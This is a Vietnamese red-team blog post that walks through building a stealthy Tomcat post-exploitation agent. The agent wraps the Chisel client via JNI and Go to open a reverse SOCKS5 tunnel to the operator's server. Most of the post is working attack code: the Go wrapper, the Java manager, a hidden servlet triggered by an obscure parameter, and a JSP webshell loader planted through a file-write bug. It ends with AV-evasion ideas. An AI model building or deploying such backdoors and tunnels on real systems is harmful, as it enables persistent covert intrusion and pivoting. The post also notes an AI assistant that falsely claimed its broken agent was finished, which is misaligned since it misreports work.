Yêu cầu bài toán
Gần đây, mình nhận được nhiệm vụ đánh giá một hệ thống webapp chạy trên Tomcat, được thiết kế load balancing trên nhiều server khác nhau. Mỗi server lại có 5-6 thư mục tomcat đang chạy trên đó.
Trong quá trình thực hiện, mình đã tìm được một lỗ hổng có thể dẫn tới RCE (Remote Code Execute). Vì target mình được giao cần thực hiện sâu hơn vào hệ thống nên mình cần thực hiện tunnel qua webshell để truy cập vào sâu trong hệ thống. Tuy nhiên, do hệ thống không có cơ chế persistence session/cookie cho từng node nên shell này chỉ hoạt động trên một node cụ thể. Khi load balancing điều hướng sang node khác, shell sẽ "biến mất", gây chập chờn trong việc kiểm soát.
Mình không muốn execute command trên server, do đó mình quyết định xây dựng một agent chạy ngầm trên Tomcat, có khả năng kết nối ngược về máy chủ của mình, tạo SOCKS5 tunnel xuyên qua hệ thống load balancing, tương tự như cách Chisel hoạt động ở chế độ reverse proxy
Yêu cầu đối với Agent:
- Vận hành ổn định và không làm ảnh hưởng đến hoạt động của Tomcat.
- Có khả năng bật/tắt thông qua HTTP request đến Tomcat.
- Tạo được SOCKS5 proxy tương thích với nhiều giao thức như HTTP, HTTPS, SSH, v.v.
Khó bị phát hiện (đảm bảo OPSEC tốt).
Lần thử đầu tiên
Ban đầu, khi bắt đầu viết Agent này, mình muốn sử dụng Java thuần cho phần Agent và Python cho phần Server. Sau một thời gian viết code và sửa lỗi, mình đã hoàn thành được một project với Agent chạy bằng Java và Server chạy bằng Python. Tuy nhiên, khi thực hiện các test case, chỉ có các request HTTP là thành công, còn các kết nối TLS đều bị lỗi SSL handshake. Đáng tiếc là AI đã tự kết luận rằng nó đã hoàn thành nhiệm vụ và cho rằng lỗi SSL chỉ đơn giản là do thư viện SSL.
Sau một thời gian đọc code để tìm hiểu vấn đề nhưng không thành công, mình quyết định không tự phát triển Agent và Server nữa mà chuyển sang sử dụng project Chisel có sẵn với khả năng gọi hàm từ Java.
Chisel with Java
Chisel
Chisel được viết bằng Golang và có 2 module chính là client và server. Ở đây, chúng ta chỉ cần tập trung vào client. Khi xem xét code main của Chisel ở phần client, ta thấy đoạn code khởi chạy client từ config như sau:
//<---snipped--->
args = flags.Args()
if len(args) < 2 {
log.Fatalf("A server and least one remote is required")
}
config.Server = args[0]
config.Remotes = args[1:]
//<---snipped--->
//ready
c, err := chclient.NewClient(&config)
if err != nil {
log.Fatal(err)
}
c.Debug = *verbose
if *pid {
generatePidFile()
}
go cos.GoStats()
ctx := cos.InterruptContext()
if err := c.Start(ctx); err != nil {
log.Fatal(err)
}
if err := c.Wait(); err != nil {
log.Fatal(err)
}
Chúng ta chỉ cần tập trung vào đoạn code này, nơi khởi chạy client. Về phần cấu hình, ta chỉ cần quan tâm đến hai giá trị: config.Server
và config.Remotes
. Hai giá trị này xác định địa chỉ IP của Chisel server và cách cấu hình tunnel. Để hiểu rõ hơn về các giá trị cấu hình cụ thể, bạn có thể tham khảo tài liệu của Chisel.
Như vậy, bài toán của chúng ta là tìm cách gọi đoạn code khởi chạy client này từ Java, và công cụ giúp chúng ta làm điều đó chính là Java Native Interface
Java Native Interface
Trong Java, native method hay native interface là một hàm được viết bằng ngôn ngữ khác Java (thường là C hoặc C++), sau đó được gọi từ mã Java. Điều này cho phép Java tương tác trực tiếp với hệ thống, phần cứng, hoặc thư viện ngoài mà Java không hỗ trợ trực tiếp. Để gọi được các hàm này, Java cần đến một cấu trúc gọi là interface pointer. Đây là một con trỏ đặc biệt, thực chất là một con trỏ đến bảng các hàm JNI, tổ chức như một mảng các con trỏ hàm. Mỗi hàm trong JNI nằm ở vị trí (offset) cố định, nên native code chỉ cần biết offset là có thể gọi đúng hàm.

Để JVM có thể tương tác được với hàm trong thư viện, thì thư viện này cũng phải được viết và compile theo một chuẩn nhất định.
Ví dụ, để goi một hàm Java Native, ta cần thông qua một class được khai báo như sau:
public class NativeExample {
// Khai báo phương thức native
public native void sayHello();
// Load thư viện native
static {
System.loadLibrary("nativeLib");
}
// Optional
public static void main(String[] args) {
new NativeExample().sayHello();
}
}
Biên dịch file thành class và khởi tạo file header trong C
$ javac -h . NativeExample.java
Ta sẽ được file NativeExample.h như sau:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class NativeExample */
#ifndef _Included_NativeExample
#define _Included_NativeExample
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: NativeExample
* Method: sayHello
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_NativeExample_sayHello
(JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
Ở đây ta có thể thấy tên hàm sayHello
trong Java, khi code thư viện C ta cần đặt là Java_NativeExample_sayHello
với quy định như sau:
- Prefix là Java_
- Fully-qualified class name (cả tên package lẫn class)
- Phân cách nhau bởi dấu gạch dưới (”_”)
- Tên phương thức cũng được thay đổi nếu chứa ký tự đặc biệt
- Nếu phương thức bị overload (có nhiều phiên bản) thêm 2 dấu gạch dưới rồi đến chuỗi mô tả tham số.
Hiểu đến đây là đủ. Nếu đã tự tạo file .h, ta chỉ cần code theo hướng dẫn trong file này là xong, không cần phải nhớ quy tắc đặt tên phức tạp. Tuy nhiên, khi viết hàm native, luôn có hai tham số mặc định là (JNIEnv *env, jobject obj)
.
JNIEnv *env
— con trỏ đến môi trường JNI
- Đây là con trỏ đến cấu trúc dữ liệu chứa toàn bộ API JNI.
- Bạn dùng
env
để gọi các hàm JNI- Mỗi thread Java có một
JNIEnv
riêng (thread-local), nên không được chia sẻenv
giữa các thread.
jobject obj
— đối tượng Java gọi đến hàm native
- Đây là tham chiếu đến đối tượng Java đã gọi hàm native đó.
- Nếu phương thức là:
- instance method:
obj
là chính đối tượng gọi (this
)- static method:
obj
sẽ là mộtjclass
thay vìjobject
Oke rồi ta code thử hàm sayHello trên C
#include <jni.h>
#include <stdio.h>
#include "NativeExample.h"
JNIEXPORT void JNICALL Java_NativeExample_sayHello(JNIEnv *env, jobject obj) {
printf("sayHello from C!\\n");
}
Build file C thành thư viện, quá trình build nhớ include các file header của jdk vào
// linux
gcc -shared -fpic -o libnativeLib.so -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" NativeExample.c
// windows
cl -I"%JAVA_HOME%\\include" -I"%JAVA_HOME%\\include\\win32" -LD NativeExample.c -FeNativeLib.dll
Kết quả khi chạy hàm main của class java NativeExample

Go Wrapper
Tương tự như C, Go cũng có thể được build thành thư viện để Java sử dụng. Mình chỉ cần viết một file wrapper để chỉ định chính xác các hàm cần export để Java có thể gọi. Lưu ý là tên hàm export cũng phải tuân theo chuẩn của JNI.
package main
import "C"
import "fmt"
//export Java_NativeExample_sayHello
func Java_NativeExample_sayHello() {
fmt.Println("Hello from Go!")
}
func main() {} // bắt buộc với buildmode=c-shared
Khi viết wrapper Go so với C, có sự khác biệt đáng chú ý: trong Go, ta không cần khai báo 2 tham số mặc định là JNIEnv *env và jobject obj. Điều này nhờ vào tính năng của Go compiler. Cơ chế export trong Go không chỉ dành riêng cho JNI mà là một phần của tính năng Cgo, cho phép Go tương tác với code C. Khi sử dụng buildmode=c-shared
, Go compiler sẽ tối ưu hóa quá trình export để tạo ra thư viện tương thích với C ABI (Application Binary Interface). Trong trường hợp này, Go compiler tự động tạo wrapper C giúp các hàm Go có thể được gọi qua JNI một cách dễ dàng. Tuy nhiên, nếu thêm các tham số mặc định kia vào cũng không ảnh hưởng gì, vì chúng vẫn cần được sử dụng như sẽ được đề cập ở phần sau.Tiến hành build file Go thành thư viện
# linux
go build -buildmode=c-shared -o libnativeLib.so NativeExample.go
# windows
go build -o nativeLib.dll -buildmode=c-shared NativeExample.go
Note: Sự khác biệt về cách đặt tên thư viện giữa các hệ điều hành. Trong Java, khi sử dụng System.loadLibrary("nativeLib")
, hệ thống sẽ tìm kiếm các tệp thư viện trong các thư mục được liệt kê trong biến java.library.path
. Tên tệp được tìm sẽ tùy theo hệ điều hành: libnativeLib.so
trên Linux, nativeLib.dll
trên Windows, hoặc libnativeLib.dylib
trên macOS.
Kết quả khi gọi hàm trong Go từ Java

Như vậy, ta đã có nền tảng cơ bản để xây dựng một Java agent chạy Chisel trên Tomcat.
Thành phần dự kiến của project gồm có
agent-project/
├── ChiselWrapper.go - Wrapper Go export các funtion start/stop Chisel client
├── NativeChisel.java - Class load thư viện và khai báo JNI
└── AgentManager.java - Class quản lý start/stop Chisel client
Triển khai các thành phần
Đầu tiên, cần có một Class Java để load thư viện và khai báo các hàm native. Đồng thời, sử dụng code wrapper viết bằng Go để khởi tạo Chisel client. Phần mã Go sẽ tương tự như trong file main.go
của Chisel, chỉ được điều chỉnh nhẹ để tương thích với JNI.
/*
#cgo LDFLAGS: -lm
#include <jni.h>
#include <stdlib.h>
#include <string.h>
// Wrapper helper for GetStringUTFChars
static char* GoStringFromJString(JNIEnv *env, jstring jstr) {
const char *tempStr = (*env)->GetStringUTFChars(env, jstr, 0);
char *copy = strdup(tempStr); // copy string
(*env)->ReleaseStringUTFChars(env, jstr, tempStr);
return copy;
}
*/
import "C"
import (
"log"
chclient "github.com/jpillora/chisel/client"
"github.com/jpillora/chisel/share/cos"
)
var clientInstance *chclient.Client
//export Java_example_NativeChisel_StartChiselClient
func Java_example_NativeChisel_StartChiselClient(env *C.JNIEnv, obj C.jobject, server C.jstring, config C.jstring) C.int {
serverStr := C.GoString(C.GoStringFromJString(env, server))
configStr := C.GoString(C.GoStringFromJString(env, config))
chclient_config := chclient.Config{
Server: serverStr,
Remotes: []string{configStr},
}
client, err := chclient.NewClient(&chclient_config)
clientInstance = client
if err != nil {log.Fatal(err)}
// clientInstance.Debug = *verbose
go cos.GoStats()
ctx := cos.InterruptContext()
if err := clientInstance.Start(ctx); err != nil {log.Fatal(err)}
if err := clientInstance.Wait(); err != nil {log.Fatal(err)}
return 0
}
//export Java_example_NativeChisel_RequestStop
func Java_example_NativeChisel_RequestStop() {
if clientInstance != nil {
if err := clientInstance.Close(); err != nil {log.Fatal(err)}
}
}
Note: Để truyền các biến từ Java sang Go, cần thực hiện một bước trung gian thông qua C. Trong JNI, khi truyền một chuỗi (String) qua native method, bắt buộc phải sử dụng kiểu jstring
. Do đó, cần viết một wrapper bằng C để chuyển đổi đối tượng String
của Java thành con trỏ char*
. Sau đó, trong Go, sử dụng hàm chuyển đổi để biến *C.char
thành chuỗi của Go (string
). Trong quá trình này, cần khai báo thêm hai tham số mặc định là JNIEnv *env, jobject obj
để phục vụ cho việc chuyển đổi chuỗi.
Khi dùng Go build file so từ wrapper cần set cờ CGO_FLAGS để include thêm các thư viện JNI của Java trong JAVA_HOME:
CGO_CFLAGS="-I$JAVA_HOME/include -I$JAVA_HOME/include/linux" go build -buildmode=c-shared -o libNativeChisel.so ChiselWrapper.go
Tiếp theo là Class NativeChisel để gọi hàm native từ Go
public class NativeChisel {
static {
System.loadLibrary("NativeChisel");
}
public native int StartChiselClient(String server, String config);
public native void RequestStop();
}
Vì Chisel client sẽ hoạt động độc lập với Tomcat, nên cần tạo một tiến trình riêng để chạy. Do đó, ta sẽ xây dựng một lớp quản lý tiến trình Chisel, cho phép gọi các hàm start
và stop
. Khi tạo luồng mới, cần thiết lập setDaemon(true)
để tránh xung đột với các tiến trình khác. Đồng thời, phải đảm bảo chờ hàm close
từ Chisel hoàn tất trước khi thực hiện interrupt
luồng.
public class AgentManager {
private static final NativeChisel chiselClient = new NativeChisel();
private static Thread agentThread;
public static void startAgent(String server, String config) {
System.out.println("Agent start connect to: " + server + " with config: " + config);
agentThread = new Thread(() -> {
try {
chiselClient.StartChiselClient(server, config);
} catch (Exception e) {
throw new RuntimeException(e);
}
});
agentThread.setDaemon(true);
agentThread.start();
}
public static void stopAgent() {
System.out.println("Agent stopping...");
try {
chiselClient.RequestStop();
Thread.sleep(3000);
System.out.println("Agent stopped.");
agentThread.interrupt();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws InterruptedException {
startAgent("localhost:8080", "R:0.0.0.0:16666:socks");
Thread.sleep(3000);
stopAgent();
Thread.sleep(10000);
}
}
Build Java và run thử xem thế nào

Bước đầu đã thành công rồi.
Deploy Agent
Khi các tính năng đã hoạt động ổn định, bước tiếp theo là xây dựng một kịch bản triển khai Agent lên server Tomcat một cách an toàn nhất có thể. Trước tiên, để có thể tương tác với Agent qua giao diện web, ta sẽ viết một lớp Servlet cho phép gọi các hàm trong Agent thông qua các HTTP request. Lớp này sẽ được đăng ký với Tomcat runtime, tương tự như cách triển khai memshell dạng Servlet. Như vậy, việc khởi động hoặc dừng Agent có thể thực hiện đơn giản bằng cách gửi request HTTP đến server thông qua Servlet đã được khai báo.
public class AgentServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String action = req.getParameter("actionahihi13");
String result;
if (action == null) {
resp.sendError(HttpServletResponse.SC_NOT_FOUND, "Not found..");
return;
}
switch (action) {
case "start":
String server = req.getParameter("server");
String config = req.getParameter("config");
if (server == null || config == null) {
resp.sendError(HttpServletResponse.SC_NOT_FOUND, "Not found...");
return;
}
result = AgentManager.startAgent(server, config);
break;
case "stop":
result = AgentManager.stopAgent();
break;
default:
result = "Invalid Param.";
}
resp.setContentType("text/plain; charset=UTF-8");
resp.getWriter().write(result);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
doPost(req, resp);
}
}
Toàn bộ mã nguồn sẽ được đóng gói vào một file JAR, trong đó bao gồm cả thư viện Chisel client đã được biên dịch thành file .so
.
Note: khi build Jar cùng resource là file so, phải ghi file so ra disk thành một temp file thì mới load được. Vì vậy code load lib trong class NativeChisel phải thay đổi một chút
public class NativeChisel {
static {
try {
Path tempFile = null;
String resourcePath = "/libNativeChisel.so";
tempFile = Files.createTempFile("bade2a8f", ".tmp");
InputStream is = NativeChisel.class.getResourceAsStream(resourcePath);
if (is == null) {
System.err.println("Resource not found: " + resourcePath);
}
Files.copy(is, tempFile, StandardCopyOption.REPLACE_EXISTING);
is.close();
System.out.println("Loading tempFile library from: " + tempFile.toAbsolutePath());
System.load(tempFile.toAbsolutePath().toString());
Files.deleteIfExists(tempFile);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public native int StartChiselClient(String server, String config);
public native void RequestStop();
}
Tận dụng lỗ hổng ghi file tùy ý (Write File), mình sẽ viết một webshell để load thư viện đã đóng gói vào Java Runtime, từ đó kích hoạt agent để thực thi. Để mọi việc tiện hơn, mình viết thêm một class ServletLoader dùng để khai báo servlet runtime và chạy Agent luôn.
<%@ page import="java.io.*, java.net.*, java.lang.reflect.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try {
String jarPath = request.getParameter("file");
String server = request.getParameter("server");
String chisel_config = request.getParameter("chisel_config");
out.println("<h3>Loading JAR: " + jarPath + "</h3>");
File jarFile = new File(jarPath);
if (!jarFile.exists()) {
out.println("<p style='color:red'>JAR not found: " + jarPath + "</p>");
return;
}
// Load JAR
URL jarUrl = jarFile.toURI().toURL();
URLClassLoader loader = new URLClassLoader(new URL[]{jarUrl}, Thread.currentThread().getContextClassLoader());
String appContext = request.getContextPath();
String servletName = "example.AgentServlet";
Class<?> loadedClass = loader.loadClass("example.ServletLoader");
Object instance = loadedClass.getDeclaredConstructor().newInstance();
out.println("<p>Loaded class: " + loadedClass.getName() + "</p>");
Method method1 = loadedClass.getMethod("addServlet", String.class, String.class);
Object result1 = method1.invoke(instance, servletName, appContext);
out.println("<p>Result of " + method1.getName() + ":</p><pre><code>" + result1 + "</code></pre>");
if (server != null && chisel_config != null) {
Method method2 = loadedClass.getMethod("startAgent", String.class, String.class);
Object result2 = method2.invoke(instance, server, chisel_config);
out.println("<p>Result of " + method2.getName() + ":</p><pre><code></code>" + result2 + "</code></pre>");
}
// loader.close();
} catch (Exception e) {
out.println("<p style='color:red'>Error: " + e.toString() + "</p>");
e.printStackTrace();
}
%>
Ở bước này, khi triển khai file loader lên server, do ảnh hưởng của cơ chế load balancing, cần thực hiện nhiều lần request đến URL của loader cho đến khi thành công. Sau đó, để dừng agent, có thể gửi request thông qua tunnel đã thiết lập là được.
Ta có thể thử demo trên lab local:
Drop file loader.jsp và chisel-agent.jar lên server. Sau đó request để trigger agent:

Test thử socks5 bằng curl

Đóng tunnel:

Check log tomcat, đã thấy log đóng tunnel thành công

More OPSEC (Practical)
Để tránh bị phần mềm diệt virus (AV) phát hiện khi load file các file .jar
và .so
từ disk, có thể cải tiến bằng cách mã hóa, sau đó giải mã và nạp trực tiếp vào bộ nhớ khi thực thi. Riêng file .jar
thì sau khi giải mã phải ghi ra file temp trên disk, sau khi load xong thì mới được xóa. Còn file .so
thì hoàn toàn có thể không cần động tới việc ghi ra disk bằng cách dùng memfd_create
trong C.
Theo đó, cần thay đổi một phần logic gọi hàm: viết một thư viện libloader
bằng C để đảm nhiệm việc giải mã và nạp thư viện vào bộ nhớ, đồng thời export các hàm tương ứng để Java có thể gọi. Thư viện Chisel client vẫn được build dưới dạng c-shared
như trước và export các hàm, nhưng các hàm này sẽ được gọi từ mã C chứ không phải trực tiếp từ JNI. Có thể cần điều chỉnh một chút trong phần xử lý để phù hợp với luồng logic mới.
Mình sẽ để lại phần này thành to-do để hoàn thành sau nhé.
Kết luận
Bằng việc tích hợp Chisel vào Agent Java thông qua JNI, ta có thể xây dựng một cơ chế tunneling ngầm:
- Vượt qua hạn chế của load balancing (session không ổn định).
- Hạn chế bị phát hiện (nếu kết hợp kỹ thuật in-memory loading).
- Dễ dàng kiểm soát qua HTTP Servlet, có thể tích hợp vào quy trình khai thác có tồn tại write file bug.
Giải pháp này rất phù hợp với môi trường Red Team, Post Exploitation, hoặc các tình huống cần duy trì kết nối lâu dài trong hệ thống nhiều lớp bảo vệ.